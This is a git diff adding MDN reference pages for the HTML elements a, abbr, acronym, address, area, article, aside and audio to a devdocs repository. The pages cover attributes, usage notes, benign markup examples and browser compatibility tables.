ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
a112
1Starting with Firefox 41, <a> without href attribute is no longer classified as interactive content: clicking it inside <label> will activate labelled content (bug 1167816).
Yes1514.418
4Starting with Firefox 41, <a> without href attribute is no longer classified as interactive content: clicking it inside <label> will activate labelled content (bug 1167816).
1411.0
attributionsrc117117NoNo103No117117NoNoNoNo
charset1121Yes1514.41841411.0
coordsNoNo
1–58You can no longer nest an <a> element inside a <map> element to create a hotspot region - coords and shape attribute support removed.
NoNo1NoNo
4–58You can no longer nest an <a> element inside a <map> element to create a hotspot region - coords and shape attribute support removed.
No1No
download
14Starting in Chrome 65, cross-origin downloads are not supported on the <a> element.
 +
18Starting in Edge 79, cross-origin downloads are not supported on the <a> element.
13["Until Edge 14 (build 14357), attempting to download data URIs caused Edge to crash (bug 7160092).", "Edge 17 or older didn't follow the attributes' value to determine filename (bug 7260192)."]
+		20No
15Starting in Opera 52, cross-origin downloads are not supported on the <a> element.
10.1
4.4Starting in Chrome 65, cross-origin downloads are not supported on the <a> element.
18Starting in Chrome 65, cross-origin downloads are not supported on the <a> element.
20
14Starting in Opera 47, cross-origin downloads are not supported on the <a> element.
13
1.0Starting in Samsung Internet 9.0, cross-origin downloads are not supported on the <a> element.
href1121Yes1514.41841411.0
href_smsNoNo12NoNoNoNoNo14NoNoNo
hreflang1121Yes1514.41841411.0
implicit_noopener888879No7412.1No8879Yes12.215.0
name1121Yes1514.41841411.0
ping12171No156≤3718No1461.0
referrerpolicy517950No381451515041147.2
rel1121Yes1514.41841411.0
rev1121Yes1514.41841411.0
shapeNoNo
1–58You can no longer nest an <a> element inside a <map> element to create a hotspot region - coords and shape attribute support removed.
NoNo1NoNo
4–58You can no longer nest an <a> element inside a <map> element to create a hotspot region - coords and shape attribute support removed.
No1No
target1121Yes1514.41841411.0
text_fragments8080NoNo6716.18080No5716.113.0
type1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a +

+
diff --git a/devdocs/html/element%2Fabbr.html b/devdocs/html/element%2Fabbr.html new file mode 100644 index 00000000..a429eb88 --- /dev/null +++ b/devdocs/html/element%2Fabbr.html @@ -0,0 +1,155 @@ +

<abbr>: The Abbreviation element

+

The <abbr> HTML element represents an abbreviation or acronym.

When including an abbreviation or acronym, provide a full expansion of the term in plain text on first use, along with the <abbr> to mark up the abbreviation. This informs the user what the abbreviation or acronym means.

The optional title attribute can provide an expansion for the abbreviation or acronym when a full expansion is not present. This provides a hint to user agents on how to announce/display the content while informing all users what the abbreviation means. If present, title must contain this full description and nothing else.

+
+

Try it

+
+

Attributes

+
+

This element only supports the global attributes. The title attribute has a specific semantic meaning when used with the <abbr> element; it must contain a full human-readable description or expansion of the abbreviation. This text is often presented by browsers as a tooltip when the mouse cursor is hovered over the element.

Each <abbr> element you use is independent of all others; providing a title for one does not automatically attach the same expansion text to others with the same content text.

+
+

Usage notes

+ +

Typical use cases

+
+

It's certainly not required that all abbreviations be marked up using <abbr>. There are, though, a few cases where it's helpful to do so:

+
+

Grammar considerations

+

In languages with grammatical number (that is, languages where the number of items affects the grammar of a sentence), use the same grammatical number in your title attribute as inside your <abbr> element. This is especially important in languages with more than two numbers, such as Arabic, but is also relevant in English.

+

Default styling

+
+

The purpose of this element is purely for the convenience of the author and all browsers display it inline (display: inline) by default, though its default styling varies from one browser to another:

Some browsers add a dotted underline to the content of the element. Others add a dotted underline while converting the contents to small caps. Others may not style it differently than a <span> element. To control this styling, use text-decoration and font-variant.

+
+

Examples

+ +

Marking up an abbreviation semantically

+
+

To mark up an abbreviation without providing an expansion or description, use <abbr> without any attributes, as seen in this example.

HTML

+

html

+
<p>Using <abbr>HTML</abbr> is fun and easy!</p>
+
+

Result

+
+ + +
+
+

Styling abbreviations

+
+

You can use CSS to set a custom style to be used for abbreviations, as seen in this simple example.

HTML

+

html

+
<p>Using <abbr>CSS</abbr>, you can style your abbreviations!</p>
+
+

CSS

+

css

+
abbr {
+  font-variant: all-small-caps;
+}
+
+

Result

+
+ + +
+
+

Providing an expansion

+
+

Adding a title attribute lets you provide an expansion or definition for the abbreviation or acronym.

HTML

+

html

+
<p>Ashok's joke made me <abbr title="Laugh Out Loud">LOL</abbr> big time.</p>
+
+

Result

+
+ + +
+
+

Defining an abbreviation

+
+

You can use <abbr> in tandem with <dfn> to more formally define an abbreviation, as shown here.

HTML

+

html

+
<p>
+  <dfn id="html"><abbr title="HyperText Markup Language">HTML</abbr> </dfn> is a
+  markup language used to create the semantics and structure of a web page.
+</p>
+
+<p>
+  A <dfn id="spec">Specification</dfn> (<abbr>spec</abbr>) is a document that
+  outlines in detail how a technology or API is intended to function and how it
+  is accessed.
+</p>
+
+

Result

+
+ + +
+
+

Accessibility concerns

+
+

Spelling out the acronym or abbreviation in full the first time it is used on a page is beneficial for helping people understand it, especially if the content is technical or industry jargon.

Only include a title if expanding the abbreviation or acronym in the text is not possible. Having a difference between the announced word or phrase and what is displayed on the screen, especially if it's technical jargon the reader may not be familiar with, can be jarring.

HTML

+

html

+
<p>
+  JavaScript Object Notation (<abbr>JSON</abbr>) is a lightweight
+  data-interchange format.
+</p>
+
+

Result

+
+ + +

This is especially helpful for people who are unfamiliar with the terminology or concepts discussed in the content, people who are new to the language, and people with cognitive concerns.

+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content
Permitted content Phrasing content
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM Interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-abbr-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
abbr212
1Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
71544.4184143.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/abbr +

+
diff --git a/devdocs/html/element%2Facronym.html b/devdocs/html/element%2Facronym.html new file mode 100644 index 00000000..0e58970e --- /dev/null +++ b/devdocs/html/element%2Facronym.html @@ -0,0 +1,79 @@ +

<acronym>

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

+

Summary

+
+

The <acronym> HTML element allows authors to clearly indicate a sequence of characters that compose an acronym or abbreviation for a word.

Warning: Don't use this element. Use the <abbr> element instead.

+
+

Attributes

+

This element only has global attributes, which are common to all elements.

+

DOM Interface

+

This element implements the HTMLElement interface.

+

Examples

+
+

html

+
<p>
+  The <acronym title="World Wide Web">WWW</acronym> is only a component of the
+  Internet.
+</p>
+
+
+

Result

+
+ + +
+

Default styling

+
+

Though the purpose of this tag is purely for the convenience of the author, its default styling varies from one browser to another:

It is therefore recommended that web authors either explicitly style this element, or accept some cross-browser variation.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# acronym
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
acronym1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/acronym +

+
diff --git a/devdocs/html/element%2Faddress.html b/devdocs/html/element%2Faddress.html new file mode 100644 index 00000000..f9c641b6 --- /dev/null +++ b/devdocs/html/element%2Faddress.html @@ -0,0 +1,90 @@ +

<address>: The Contact Address element

The <address> HTML element indicates that the enclosed HTML provides contact information for a person or people, or for an organization.

+

Try it

+
+

The contact information provided by an <address> element's contents can take whatever form is appropriate for the context, and may include any type of contact information that is needed, such as a physical address, URL, email address, phone number, social media handle, geographic coordinates, and so forth. The <address> element should include the name of the person, people, or organization to which the contact information refers.

<address> can be used in a variety of contexts, such as providing a business's contact information in the page header, or indicating the author of an article by including an <address> element within the <article>.

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+
+

This example demonstrates the use of <address> to demarcate the contact information for an article's author.

+

html

+
<address>
+  You can contact author at
+  <a href="http://www.somedomain.com/contact">www.somedomain.com</a>.<br />
+  If you see any bugs, please
+  <a href="mailto:webmaster@somedomain.com">contact webmaster</a>.<br />
+  You may also want to visit us:<br />
+  Mozilla Foundation<br />
+  331 E Evelyn Ave<br />
+  Mountain View, CA 94041<br />
+  USA
+</address>
+
+
+
+

Result

+
+
+ + +

Although it renders text with the same default styling as the <i> or <em> elements, it is more appropriate to use <address> when dealing with contact information, as it conveys additional semantic information.

+
+

Technical summary

+
Content categories +Flow content, palpable content.
Permitted content Flow content, but with no nested <address> element, no heading content (<hgroup>, h1, h2, h3, h4, h5, h6), no sectioning content (<article>, <aside>, <section>, <nav>), and no <header> or <footer> element.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content, but always excluding <address> elements (according to the logical principle of symmetry, if <address> tag, as a parent, can not have nested <address> element, then the same <address> content can not have <address> tag as its parent).
Implicit ARIA role group
Permitted ARIA roles Any
DOM interface HTMLElement Prior to Gecko 2.0 (Firefox 4), Gecko implemented this element using the HTMLSpanElement interface
+

Specifications

+
+ + +
Specification
HTML Standard
# the-address-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
address1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/address +

+
diff --git a/devdocs/html/element%2Farea.html b/devdocs/html/element%2Farea.html new file mode 100644 index 00000000..01bacab7 --- /dev/null +++ b/devdocs/html/element%2Farea.html @@ -0,0 +1,293 @@ +

<area>: The Image Map Area element

+

The <area> HTML element defines an area inside an image map that has predefined clickable areas. An image map allows geometric areas on an image to be associated with hypertext links.

This element is used only within a <map> element.

+
+

Try it

+
+

Attributes

+
+

This element's attributes include the global attributes.

alt

A text string alternative to display on browsers that do not display images. The text should be phrased so that it presents the user with the same kind of choice as the image would offer when displayed without the alternative text. This attribute is required only if the href attribute is used.

coords

The coords attribute details the coordinates of the shape attribute in size, shape, and placement of an <area>. This attribute must not be used if shape is set to default.

  • rect: the value is x1,y1,x2,y2. The value specifies the coordinates of the top-left and bottom-right corner of the rectangle. For example, in <area shape="rect" coords="0,0,253,27" href="#" target="_blank" alt="Mozilla"> the coordinates are 0,0 and 253,27, indicating the top-left and bottom-right corners of the rectangle, respectively.
  • circle: the value is x,y,radius. Value specifies the coordinates of the circle center and the radius. For example: <area shape="circle" coords="130,136,60" href="#" target="_blank" alt="MDN">
  • poly: the value is x1,y1,x2,y2,..,xn,yn. Value specifies the coordinates of the edges of the polygon. If the first and last coordinate pairs are not the same, the browser will add the last coordinate pair to close the polygon

The values are numbers of CSS pixels.

download

This attribute, if present, indicates that the author intends the hyperlink to be used for downloading a resource. See <a> for a full description of the download attribute.

href

The hyperlink target for the area. Its value is a valid URL. This attribute may be omitted; if so, the <area> element does not represent a hyperlink.

ping

Contains a space-separated list of URLs to which, when the hyperlink is followed, POST requests with the body PING will be sent by the browser (in the background). Typically used for tracking.

referrerpolicy

A string indicating which referrer to use when fetching the resource:

  • +no-referrer: The Referer header will not be sent.
  • +no-referrer-when-downgrade: The Referer header will not be sent to origins without TLS (HTTPS).
  • +origin: The sent referrer will be limited to the origin of the referring page: its scheme, host, and port.
  • +origin-when-cross-origin: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path.
  • +same-origin: A referrer will be sent for same origin, but cross-origin requests will contain no referrer information.
  • +strict-origin: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP).
  • +strict-origin-when-cross-origin (default): Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP).
  • unsafe-url: The referrer will include the origin and the path (but not the fragment, password, or username). This value is unsafe, because it leaks origins and paths from TLS-protected resources to insecure origins.
rel

For anchors containing the href attribute, this attribute specifies the relationship of the target object to the link object. The value is a space-separated list of link types. The values and their semantics will be registered by some authority that might have meaning to the document author. The default relationship, if no other is given, is void. Use this attribute only if the href attribute is present.

shape

The shape of the associated hot spot. The specifications for HTML defines the values rect, which defines a rectangular region; circle, which defines a circular region; poly, which defines a polygon; and default, which indicates the entire region beyond any defined shapes.

target

A keyword or author-defined name of the browsing context to display the linked resource. The following keywords have special meanings:

  • +_self (default): Show the resource in the current browsing context.
  • +_blank: Show the resource in a new, unnamed browsing context.
  • _parent: Show the resource in the parent browsing context of the current one, if the current page is inside a frame. If there is no parent, acts the same as _self.
  • _top: Show the resource in the topmost browsing context (the browsing context that is an ancestor of the current one and has no parent). If there is no parent, acts the same as _self.

Use this attribute only if the href attribute is present.

Note: Setting target="_blank" on <area> elements implicitly provides the same rel behavior as setting rel="noopener" which does not set window.opener. See browser compatibility for support status.

+
+

Examples

+
+

html

+
<map name="primary">
+  <area
+    shape="circle"
+    coords="75,75,75"
+    href="left.html"
+    alt="Click to go Left" />
+  <area
+    shape="circle"
+    coords="275,75,75"
+    href="right.html"
+    alt="Click to go Right" />
+</map>
+<img
+  usemap="#primary"
+  src="https://via.placeholder.com/350x150"
+  alt="350 x 150 pic" />
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories Flow content, phrasing content.
Permitted content None; it is a void element.
Tag omission Must have a start tag and must not have an end tag.
Permitted parents Any element that accepts phrasing content. The <area> element must have an ancestor <map>, but it need not be a direct parent.
Implicit ARIA role link when href attribute is present, otherwise generic
Permitted ARIA roles No role permitted
DOM interface HTMLAreaElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-area-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
area1121Yes1514.41841411.0
accesskey1121Yes15≤44.418414≤3.21.0
alt1121Yes1514.41841411.0
coords1121Yes1514.41841411.0
download541220Yes4110.15454204110.36.0
href1121Yes1514.41841411.0
implicit_noopener888879NoNo12.1No8879Yes12.215.0
nohref1121Yes1514.41841411.0
ping12171No156≤3718No1461.0
referrerpolicy517950No3811.151515041No7.2
rel161230Yes1554.41830144.21.0
shape1121Yes1514.41841411.0
tabindex1121Yes153.14.41841421.0
target1121Yes1514.41841411.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/area +

+
diff --git a/devdocs/html/element%2Farticle.html b/devdocs/html/element%2Farticle.html new file mode 100644 index 00000000..ba47dc0a --- /dev/null +++ b/devdocs/html/element%2Farticle.html @@ -0,0 +1,112 @@ +

<article>: The Article Contents element

The <article> HTML element represents a self-contained composition in a document, page, application, or site, which is intended to be independently distributable or reusable (e.g., in syndication). Examples include: a forum post, a magazine or newspaper article, or a blog entry, a product card, a user-submitted comment, an interactive widget or gadget, or any other independent item of content.

+

Try it

+
+

A given document can have multiple articles in it; for example, on a blog that shows the text of each article one after another as the reader scrolls, each post would be contained in an <article> element, possibly with one or more <section>s within.

Content categories Flow content, sectioning content, palpable content
Permitted content +Flow content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content. Note that an <article> element must not be a descendant of an <address> element.
Implicit ARIA role article
Permitted ARIA roles application, document, feed, main, none, presentation, region
DOM interface HTMLElement
+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+
+

html

+
<article class="film_review">
+  <h2>Jurassic Park</h2>
+  <section class="main_review">
+    <h3>Review</h3>
+    <p>Dinos were great!</p>
+  </section>
+  <section class="user_reviews">
+    <h3>User reviews</h3>
+    <article class="user_review">
+      <h4>Too scary!</h4>
+      <p>Way too scary for me.</p>
+      <footer>
+        <p>
+          Posted on
+          <time datetime="2015-05-16 19:00">May 16</time>
+          by Lisa.
+        </p>
+      </footer>
+    </article>
+    <article class="user_review">
+      <h4>Love the dinos!</h4>
+      <p>I agree, dinos are my favorite.</p>
+      <footer>
+        <p>
+          Posted on
+          <time datetime="2015-05-17 19:00">May 17</time>
+          by Tom.
+        </p>
+      </footer>
+    </article>
+  </section>
+  <footer>
+    <p>
+      Posted on
+      <time datetime="2015-05-15 19:00">May 15</time>
+      by Staff.
+    </p>
+  </footer>
+</article>
+
+
+

Result

+
+ + +
+

Specifications

+
+ + +
Specification
HTML Standard
# the-article-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
article5124911.154.418411.14.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/article +

+
diff --git a/devdocs/html/element%2Faside.html b/devdocs/html/element%2Faside.html new file mode 100644 index 00000000..86b3766a --- /dev/null +++ b/devdocs/html/element%2Faside.html @@ -0,0 +1,85 @@ +

<aside>: The Aside element

The <aside> HTML element represents a portion of a document whose content is only indirectly related to the document's main content. Asides are frequently presented as sidebars or call-out boxes.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+ +

Using <aside>

+
+

This example uses <aside> to mark up a paragraph in an article. The paragraph is only indirectly related to the main article content:

+

html

+
<article>
+  <p>
+    The Disney movie <cite>The Little Mermaid</cite> was first released to
+    theatres in 1989.
+  </p>
+  <aside>
+    <p>The movie earned $87 million during its initial release.</p>
+  </aside>
+  <p>More info about the movie…</p>
+</article>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, sectioning content, palpable content.
Permitted content +Flow content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content. Note that an <aside> element must not be a descendant of an <address> element.
Implicit ARIA role complementary
Permitted ARIA roles feed, none, note, presentation, region, search
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-aside-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
aside5124911.154.418411.14.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/aside +

+
diff --git a/devdocs/html/element%2Faudio.html b/devdocs/html/element%2Faudio.html new file mode 100644 index 00000000..d1808376 --- /dev/null +++ b/devdocs/html/element%2Faudio.html @@ -0,0 +1,266 @@ +

<audio>: The Embed Audio element

The <audio> HTML element is used to embed sound content in documents. It may contain one or more audio sources, represented using the src attribute or the <source> element: the browser will choose the most suitable one. It can also be the destination for streamed media, using a MediaStream.

+

Try it

+
+

The above example shows simple usage of the <audio> element. In a similar manner to the <img> element, we include a path to the media we want to embed inside the src attribute; we can include other attributes to specify information such as whether we want it to autoplay and loop, whether we want to show the browser's default audio controls, etc.

The content inside the opening and closing <audio></audio> tags is shown as a fallback in browsers that don't support the element.

+
+

Attributes

+
+

This element's attributes include the global attributes.

autoplay

A Boolean attribute: if specified, the audio will automatically begin playback as soon as it can do so, without waiting for the entire audio file to finish downloading.

Note: Sites that automatically play audio (or videos with an audio track) can be an unpleasant experience for users, so should be avoided when possible. If you must offer autoplay functionality, you should make it opt-in (requiring a user to specifically enable it). However, this can be useful when creating media elements whose source will be set at a later time, under user control. See our autoplay guide for additional information about how to properly use autoplay.

controls

If this attribute is present, the browser will offer controls to allow the user to control audio playback, including volume, seeking, and pause/resume playback.

+controlslist +

The controlslist attribute, when specified, helps the browser select what controls to show for the audio element whenever the browser shows its own set of controls (that is, when the controls attribute is specified).

The allowed values are nodownload, nofullscreen and noremoteplayback.

crossorigin

This enumerated attribute indicates whether to use CORS to fetch the related audio file. CORS-enabled resources can be reused in the <canvas> element without being tainted. The allowed values are:

anonymous

Sends a cross-origin request without a credential. In other words, it sends the Origin: HTTP header without a cookie, X.509 certificate, or performing HTTP Basic authentication. If the server does not give credentials to the origin site (by not setting the Access-Control-Allow-Origin: HTTP header), the resource will be tainted, and its usage restricted.

use-credentials

Sends a cross-origin request with a credential. In other words, it sends the Origin: HTTP header with a cookie, a certificate, or performing HTTP Basic authentication. If the server does not give credentials to the origin site (through Access-Control-Allow-Credentials: HTTP header), the resource will be tainted and its usage restricted.

When not present, the resource is fetched without a CORS request (i.e. without sending the Origin: HTTP header), preventing its non-tainted use in <canvas> elements. If invalid, it is handled as if the enumerated keyword anonymous was used. See CORS settings attributes for additional information.

+disableremoteplayback +

A Boolean attribute used to disable the capability of remote playback in devices that are attached using wired (HDMI, DVI, etc.) and wireless technologies (Miracast, Chromecast, DLNA, AirPlay, etc.). See this proposed specification for more information.

Note: In Safari, you can use x-webkit-airplay="deny" as a fallback.

loop

A Boolean attribute: if specified, the audio player will automatically seek back to the start upon reaching the end of the audio.

muted

A Boolean attribute that indicates whether the audio will be initially silenced. Its default value is false.

preload

This enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience. It may have one of the following values:

  • +none: Indicates that the audio should not be preloaded.
  • +metadata: Indicates that only audio metadata (e.g. length) is fetched.
  • +auto: Indicates that the whole audio file can be downloaded, even if the user is not expected to use it.
  • +empty string: A synonym of the auto value.

The default value is different for each browser. The spec advises it to be set to metadata.

Note:

  • The autoplay attribute has precedence over preload. If autoplay is specified, the browser would obviously need to start downloading the audio for playback.
  • The browser is not forced by the specification to follow the value of this attribute; it is a mere hint.
src

The URL of the audio to embed. This is subject to HTTP access controls. This is optional; you may instead use the <source> element within the audio block to specify the audio to embed.

+
+

Events

+
Event name Fired when
audioprocess The input buffer of a ScriptProcessorNode is ready to be processed.
canplay The browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
canplaythrough The browser estimates it can play the media up to its end without stopping for content buffering.
complete The rendering of an OfflineAudioContext is terminated.
durationchange The duration attribute has been updated.
emptied The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the HTMLMediaElement.load method is called to reload it.
ended Playback has stopped because the end of the media was reached.
loadeddata The first frame of the media has finished loading.
loadedmetadata The metadata has been loaded.
loadstart Fired when the browser has started to load the resource.
pause Playback has been paused.
play Playback has begun.
playing Playback is ready to start after having been paused or delayed due to lack of data.
ratechange The playback rate has changed.
seeked A seek operation completed.
seeking A seek operation began.
stalled The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
suspend Media data loading has been suspended.
timeupdate The time indicated by the currentTime attribute has been updated.
volumechange The volume has changed.
waiting Playback has stopped because of a temporary lack of data
+

Usage notes

+
+

Browsers don't all support the same file types and audio codecs; you can provide multiple sources inside nested <source> elements, and the browser will then use the first one it understands:

+

html

+
<audio controls>
+  <source src="myAudio.mp3" type="audio/mpeg" />
+  <source src="myAudio.ogg" type="audio/ogg" />
+  <p>
+    Download <a href="myAudio.mp3">MP3</a> or
+    <a href="myAudio.ogg">OGG</a> audio.
+  </p>
+</audio>
+
+

We offer a substantive and thorough guide to media file types and the audio codecs that can be used within them. Also available is a guide to the codecs supported for video.

Other usage notes:

A good general source of information on using HTML <audio> is the Video and audio content beginner's tutorial.

+
+

Styling with CSS

+
+

The <audio> element has no intrinsic visual output of its own unless the controls attribute is specified, in which case the browser's default controls are shown.

The default controls have a display value of inline by default, and it is often a good idea to set the value to block to improve control over positioning and layout, unless you want it to sit within a text block or similar.

You can style the default controls with properties that affect the block as a single unit, so for example you can give it a border and border-radius, padding, margin, etc. You can't however style the individual components inside the audio player (e.g. change the button size or icons, change the font, etc.), and the controls are different across the different browsers.

To get a consistent look and feel across browsers, you'll need to create custom controls; these can be marked up and styled in whatever way you want, and then JavaScript can be used along with the HTMLMediaElement API to wire up their functionality.

Video player styling basics provides some useful styling techniques — it is written in the context of <video>, but much of it is equally applicable to <audio>.

+
+

Detecting addition and removal of tracks

+
+

You can detect when tracks are added to and removed from an <audio> element using the addtrack and removetrack events. However, these events aren't sent directly to the <audio> element itself. Instead, they're sent to the track list object within the <audio> element's HTMLMediaElement that corresponds to the type of track that was added to the element:

HTMLMediaElement.audioTracks

An AudioTrackList containing all of the media element's audio tracks. You can add a listener for addtrack to this object to be alerted when new audio tracks are added to the element.

HTMLMediaElement.videoTracks

Add an addtrack listener to this VideoTrackList object to be informed when video tracks are added to the element.

HTMLMediaElement.textTracks

Add an addtrack event listener to this TextTrackList to be notified when new text tracks are added to the element.

Note: Even though it's an <audio> element, it still has video and text track lists, and can in fact be used to present video, although the user interface implications can be odd.

For example, to detect when audio tracks are added to or removed from an <audio> element, you can use code like this:

+

js

+
const elem = document.querySelector("audio");
+
+elem.audioTrackList.onaddtrack = (event) => {
+  trackEditor.addTrack(event.track);
+};
+
+elem.audioTrackList.onremovetrack = (event) => {
+  trackEditor.removeTrack(event.track);
+};
+
+

This code watches for audio tracks to be added to and removed from the element, and calls a hypothetical function on a track editor to register and remove the track from the editor's list of available tracks.

You can also use addEventListener() to listen for the addtrack and removetrack events.

+
+

Examples

+ +

Basic usage

+
+

The following example shows simple usage of the <audio> element to play an OGG file. It will autoplay due to the autoplay attribute—if the page has permission to do so—and also includes fallback content.

+

html

+
<!-- Simple audio playback -->
+<audio src="AudioTest.ogg" autoplay>
+  <a href="AudioTest.ogg">Download OGG audio</a>.
+</audio>
+
+

For details on when autoplay works, how to get permission to use autoplay, and how and when it's appropriate to use autoplay, see our autoplay guide.

+
+

<audio> element with <source> element

+
+

This example specifies which audio track to embed using the src attribute on a nested <source> element rather than directly on the <audio> element. It is always useful to include the file's MIME type inside the type attribute, as the browser is able to instantly tell if it can play that file, and not waste time on it if not.

+

html

+
<audio controls>
+  <source src="foo.wav" type="audio/wav" />
+  <a href="foo.wav">Download WAV audio</a>.
+</audio>
+
+
+
+

<audio> with multiple <source> elements

+
+

This example includes multiple <source> elements. The browser tries to load the first source element (Opus) if it is able to play it; if not it falls back to the second (Vorbis) and finally back to MP3:

+

html

+
<audio controls>
+  <source src="foo.opus" type="audio/ogg; codecs=opus" />
+  <source src="foo.ogg" type="audio/ogg; codecs=vorbis" />
+  <source src="foo.mp3" type="audio/mpeg" />
+</audio>
+
+
+
+

Accessibility concerns

+
+

Audio with spoken dialog should provide both captions and transcripts that accurately describe its content. Captions, which are specified using WebVTT, allow people who are hearing impaired to understand an audio recording's content as the recording is being played, while transcripts allow people who need additional time to be able to review the recording's content at a pace and format that is comfortable for them.

If automatic captioning services are used, it is important to review the generated content to ensure it accurately represents the source audio.

The <audio> element doesn't directly support WebVTT. You will have to find a library or framework that provides the capability for you, or write the code to display captions yourself. One option is to play your audio using a <video> element, which does support WebVTT.

In addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that communicate important information. This includes emotion and tone. For example, in the WebVTT below, note the use of square brackets to provide tone and emotional insight to the viewer; this can help establish the mood otherwise provided using music, nonverbal sounds and crucial sound effects, and so forth.

1
+00:00:00 --> 00:00:45
+[Energetic techno music]
+
+2
+00:00:46 --> 00:00:51
+Welcome to the Time Keeper's podcast! In this episode we're discussing which Swisswatch is a wrist switchwatch?
+
+16
+00:00:52 --> 00:01:02
+[Laughing] Sorry! I mean, which wristwatch is a Swiss wristwatch?
+

Also it's a good practice to provide some content (such as the direct download link) as a fallback for viewers who use a browser in which the <audio> element is not supported:

+

html

+
<audio controls>
+  <source src="myAudio.mp3" type="audio/mpeg" />
+  <source src="myAudio.ogg" type="audio/ogg" />
+  <p>
+    Download <a href="myAudio.mp3">MP3</a> or
+    <a href="myAudio.ogg">OGG</a> audio.
+  </p>
+</audio>
+
+
+
+

Technical summary

+
Content categories Flow content, phrasing content, embedded content. If it has a controls attribute: interactive content and palpable content.
Permitted content If the element has a src attribute: zero or more <track> elements followed by transparent content that contains no <audio> or <video> media elements.
Else: zero or more <source> elements followed by zero or more <track> elements followed by transparent content that contains no <audio> or <video> media elements.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts embedded content.
Implicit ARIA role No corresponding role
Permitted ARIA roles application
